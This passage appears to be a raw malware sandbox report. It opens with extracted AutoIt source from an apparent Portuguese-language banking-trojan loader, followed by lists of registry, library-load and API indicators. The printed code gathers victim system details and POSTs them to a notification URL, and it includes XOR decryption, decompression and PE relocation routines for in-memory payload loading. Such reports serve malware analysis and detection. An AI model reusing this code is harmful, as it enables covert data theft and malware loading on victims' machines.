$sInfoAdicional = ObterInfoAdicional() Local $sBancosDetectados = "G-V.2" Local $sDados = "nome_pc=" & $sNomePC $sDados &= "&sistema_operacional=" & $sSO $sDados &= "&usuario=" & $sUsuario $sDados &= "&ip_local=" & $sIPLocal $sDados &= "&ip_externo=" & $sIPExterno $sDados &= "&data_hora=" & $sDataHora $sDados &= "&antivirus=Removido" $sDados &= "&info_adicional=" & $sInfoAdicional $sDados &= "&bancos_detectados=" & $sBancosDetectados Local $oHTTP = ObjCreate("WinHttp.WinHttpRequest.5.1") If Not IsObj($oHTTP) Then Return False $oHTTP.SetTimeouts(5000, 5000, 5000, 5000) $oHTTP.Open("POST", $URL_NOTIFICACAO, False) If @error Then Return False $oHTTP.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded") $oHTTP.Send($sDados) Return TrueEndFunc; ====================================================================; FUNES AUXILIARES PARA ARRAYS ; ====================================================================Func _ArrayAdd(ByRef $aArray, $vValue) Local $iUBound = UBound($aArray) ReDim $aArray[$iUBound + 1] $aArray[$iUBound] = $vValue Return $iUBoundEndFuncFunc _ArraySearch(Const ByRef $aArray, $vValue) For $i = 0 To UBound($aArray) - 1 If $aArray[$i] = $vValue Then Return $i Next Return -1EndFuncFunc _ArrayToString(Const ByRef $aArray, $sDelimiter = " ") Local $sResult = "" For $i = 0 To UBound($aArray) - 1 If $i > 0 Then $sResult &= $sDelimiter $sResult &= $aArray[$i] Next Return $sResultEndFuncFunc _FileListToArray($sPath, $sFilter = "*", $iFlag = 0) Local $hSearch, $sFile, $aFiles[1] = [0] If StringRight($sPath, 1) <> "\" Then $sPath &= "\" $hSearch = FileFindFirstFile($sPath & $sFilter) If $hSearch = -1 Then Return SetError(1, 0, 0) While 1 $sFile = FileFindNextFile($hSearch) If @error Then ExitLoop If $iFlag = 1 Then If Not StringInStr(FileGetAttrib($sPath & $sFile), "D") Then $aFiles[0] += 1 ReDim $aFiles[$aFiles[0] + 1] $aFiles[$aFiles[0]] = $sFile EndIf ElseIf $iFlag = 2 Then If StringInStr(FileGetAttrib($sPath & $sFile), "D") Then $aFiles[0] += 1 ReDim $aFiles[$aFiles[0] + 1] $aFiles[$aFiles[0]] = $sFile EndIf Else $aFiles[0] += 1 ReDim $aFiles[$aFiles[0] + 1] $aFiles[$aFiles[0]] = $sFile EndIf WEnd FileClose($hSearch) If $aFiles[0] = 0 Then Return SetError(1, 0, 0) Return $aFilesEndFunc; ====================================================================; FUNES PRINCIPAIS DO CARREGADOR PE; ====================================================================Func homeoffice() Local $sDirAtual = @ScriptDir Local $sChaveReg = "HKEY_CURRENT_USER\Software\MyApp\Config" RegWrite($sChaveReg, "WorkDir", "REG_SZ", $sDirAtual) RegWrite($sChaveReg, "DmpPath", "REG_SZ", $sDirAtual)EndFuncFunc comquefaz($bOrigem, $iChave0 = 3333, $iChave1 = 3434, $iChave2 = 1000) Local $iTamanho = BinaryLen($bOrigem) Local $aAlloc = DllCall("kernel32.dll", "ptr", "GlobalAlloc", "uint", $GPTR, "ulong_ptr", $iTamanho) Local $pEntrada = $aAlloc[0] $aAlloc = DllCall("kernel32.dll", "ptr", "GlobalAlloc", "uint", $GPTR, "ulong_ptr", $iTamanho) Local $pSaida = $aAlloc[0] Local $tEntrada = DllStructCreate("byte[" & $iTamanho & "]", $pEntrada) DllStructSetData($tEntrada, 1, $bOrigem) Local $tSaida = DllStructCreate("byte[" & $iTamanho & "]", $pSaida) For $i = 0 To $iTamanho - 1 Local $iByte = DllStructGetData($tEntrada, 1, $i + 1) Local $iDeslocamento = BitShift($iChave2, 8) Local $iResultado = BitXOR($iByte, BitAND($iDeslocamento, 0xFF)) DllStructSetData($tSaida, 1, $iResultado, $i + 1) $iChave2 = BitAND((BitAND(($iResultado + $iChave2), 0xFF) * $iChave0 + $iChave1), 0xFFFF) Next Local $bSaida = DllStructGetData($tSaida, 1) DllCall("kernel32.dll", "ptr", "GlobalFree", "ptr", $pEntrada) DllCall("kernel32.dll", "ptr", "GlobalFree", "ptr", $pSaida) Return $bSaidaEndFuncFunc quemdecomprime($bDadosComprimidos) Local $iTamanhoEspacoTrabalho = 0 Local $iTamanhoFragmento = 0 Local $aResultado = DllCall($hNtdll, "uint", "RtlGetCompressionWorkSpaceSize", _ "uint", 2, "uint*", $iTamanhoEspacoTrabalho, "uint*", $iTamanhoFragmento) If @error Or $aResultado[0] <> 0 Then Return $bDadosComprimidos $iTamanhoEspacoTrabalho = $aResultado[2] $iTamanhoFragmento = $aResultado[3] Local $aAlloc = DllCall("kernel32.dll", "ptr", "GlobalAlloc", "uint", $GPTR, "ulong_ptr", $iTamanhoEspacoTrabalho) Local $pEspacoTrabalho = $aAlloc[0] Local $iTamanhoDescomprimido = BinaryLen($bDadosComprimidos) * 2 $aAlloc = DllCall("kernel32.dll", "ptr", "GlobalAlloc", "uint", $GPTR, "ulong_ptr", $iTamanhoDescomprimido) Local $pDescomprimido = $aAlloc[0] Local $tComprimido = DllStructCreate("byte[" & BinaryLen($bDadosComprimidos) & "]") DllStructSetData($tComprimido, 1, $bDadosComprimidos) Local $iTamanhoFinal = 0 $aResultado = DllCall($hNtdll, "uint", "RtlDecompressFragment", _ "uint", 2, "ptr", $pDescomprimido, "uint", $iTamanhoDescomprimido, _ "ptr", DllStructGetPtr($tComprimido), "uint", BinaryLen($bDadosComprimidos), _ "uint", 0, "uint*", $iTamanhoFinal, "ptr", $pEspacoTrabalho) Local $bSaida = $bDadosComprimidos If Not @error And $aResultado[0] = 0 Then $iTamanhoFinal = $aResultado[7] Local $tSaida = DllStructCreate("byte[" & $iTamanhoFinal & "]", $pDescomprimido) $bSaida = DllStructGetData($tSaida, 1) EndIf DllCall("kernel32.dll", "ptr", "GlobalFree", "ptr", $pEspacoTrabalho) DllCall("kernel32.dll", "ptr", "GlobalFree", "ptr", $pDescomprimido) Return $bSaidaEndFuncFunc corrige32($pBaseImagem, $iDelta, $tCabecalhoOpc) Local $pCabecalhoOpcPtr = DllStructGetPtr($tCabecalhoOpc) Local $tDirRealoc = DllStructCreate($tagIMAGE_DATA_DIRECTORY, $pCabecalhoOpcPtr + 136) Local $iEnderecoVirtualRealoc = DllStructGetData($tDirRealoc, "VirtualAddress") Local $iTamanhoRealoc = DllStructGetData($tDirRealoc, "Size") If $iTamanhoRealoc = 0 Or $iEnderecoVirtualRealoc = 0 Then Return Local $pRealoc = $pBaseImagem + $iEnderecoVirtualRealoc While $iTamanhoRealoc > 0 Local $tBlocoRealoc = DllStructCreate($tagIMAGE_BASE_RELOCATION, $pRealoc) Local $iEnderecoVirtual = DllStructGetData($tBlocoRealoc, "VirtualAddress") Local $iTamanhoBloco = DllStructGetData($tBlocoRealoc, "SizeOfBlock") If $iTamanhoBloco = 0 Then ExitLoop Local $iNumEntradas = ($iTamanhoBloco - 8) / 2 Local $pEntradas = $pRealoc + 8 For $i = 0 To $iNumEntradas - 1 Local $tEntrada = DllStructCreate("ushort", $pEntradas + $i * 2) Local $iEntrada = DllStructGetData($tEntrada, 1) Local $iTipo = BitShift($iEntrada, 12) Local $iOffset = BitAND($iEntrada, 0x0FFF) If $iTipo = 3 Then Local $pEnderec" (Indicator: "hardware\description\system\centralprocessor") in Source: oxjrstqeoghk.au3 Observed string: "KLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0" (Indicator: "hardware\description\system\centralprocessor") in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp 00000000-00005172.00000001.170200.00B20000.00000004.mdmp 00000000-00005172.00000002.172121.00B20000.00000004.mdmp Observed string: "ocal $sProcessador = RegRead("HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0", "ProcessorNameString")" (Indicator: "hardware\description\system\centralprocessor") in Source: 00000000-00005172.00000000.168279.00B20000.00000004.mdmp 00000000-00005172.00000001.170200.00B20000.00000004.mdmp 00000000-00005172.00000002.172121.00B20000.00000004.mdmp41:T515,"audiodg_svc.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "audiodg_svc.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "audiodg_svc.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "audiodg_svc.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "audiodg_svc.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "audiodg_svc.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "audiodg_svc.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "audiodg_svc.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "audiodg_svc.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "audiodg_svc.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")42:T79d,"audiodg_svc.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004872) "audiodg_svc.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004872) "audiodg_svc.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-2 (UID: 00000000-00004872) "audiodg_svc.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004872) "audiodg_svc.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004872) "audiodg_svc.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\EfUdy1v3brSz\msiexec.log (UID: 00000000-00004872) "audiodg_svc.exe" called "LoadLibrary" with a parameter Crypt32.dll (UID: 00000000-00004872) "audiodg_svc.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00004872) "audiodg_svc.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005172) "audiodg_svc.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005172) "audiodg_svc.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-2 (UID: 00000000-00005172) "audiodg_svc.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005172) "audiodg_svc.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005172) "audiodg_svc.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\EfUdy1v3brSz\oxjrstqeoghk.au3 (UID: 00000000-00005172) "audiodg_svc.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005172) "audiodg_svc.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005172) "audiodg_svc.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00005172) "audiodg_svc.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00005172)43:T1001,"audiodg_svc.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004872) "audiodg_svc.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004872) "audiodg_svc.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004872) "audiodg_svc.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004872) "audiodg_svc.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004872) "audiodg_svc.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004872) "audiodg_svc.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004872) "audiodg_svc.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004872) "audiodg_svc.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004872) "audiodg_svc.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004872) "audiodg_svc.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004872) "audiodg_svc.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004872) "audiodg_svc.exe" called "GetProcAddress" with a parameter FlsGetValue2 (UID: 00000000-00004872) "audiodg_svc.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004872) "audiodg_svc.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00004872) "audiodg_svc.exe" called "GetProcAddress" with a parameter Wow64DisableWow64FsRedirection (UID: 00000000-00004872) "audiodg_svc.exe" called "GetProcAddress" with a parameter Wow64RevertWow64FsRedirection (UID: 00000000-00004872) "audiodg_svc.exe" called "GetProcAddress" with a parameter CryptStringToBinaryA (UID: 00000000-00004872) "audiodg_svc.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00004872) "audiodg_svc.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005172) "audiodg_svc.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005172) "audiodg_svc.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005172) "audiodg_svc.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005172) "audiodg_svc.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005172) "audiodg_svc.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005172) "audiodg_svc.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005172) "audiodg_svc.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005172) "audiodg_svc.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005172) "audiodg_svc.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005172) "audiodg_svc.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005172) "audiodg_svc.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005172) "audiodg_svc.exe" called "GetProcAddress" with a parameter FlsGetValue2 (UID: 00000000-00005172) "audiodg_svc.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005172) "audiodg_svc.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00005172) "audiodg_svc.exe" called "GetProcAddress" with a parameter Wow64DisableWow64FsRedirection (UID: 00000000-00005172) "audiodg_svc.exe" called "GetProcAddress" with a parameter Wow64RevertWow64FsRedirection (UID: 00000000-00005172) "audiodg_svc.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00005172) "audiodg_svc.exe" called "GetProcAddress" with a parameter PeekMessageW (UID: 00000000-00005172) "audiodg_svc.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00005172)44:Tc190,Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetNativeSystemInfo"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetDateFormatEx"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetTimeFormatEx"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "Wow64RevertWow64FsRedirection"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "Wow64DisableWow64FsRedirection"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetSystemWow64DirectoryW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyExW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "WNetAddConnection2W"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "WNetUseConnectionW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "WNetCancelConnection2W"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "WNetGetConnectionW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "InternetCloseHandle"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "InternetSetOptionW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "InternetCrackUrlW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "HttpQueryInfoW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "InternetQueryOptionW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "InternetConnectW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "HttpOpenRequestW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "HttpSendRequestW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FtpOpenFileW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FtpGetFileSize"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenUrlW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "InternetReadFile"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "InternetQueryDataAvailable"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetProcessMemoryInfo"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "IcmpSendEcho"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CreateEnvironmentBlock"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "DestroyEnvironmentBlock"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpiW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "lstrcpyW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "VirtualFreeEx"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "VirtualAllocEx"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "WriteProcessMemory"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "ReadProcessMemory"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "Process32FirstW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "Process32NextW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetLongPathNameW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CopyFileExW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "MoveFileW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SetSystemPowerState"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "DeviceIoControl"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CreatePipe"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: 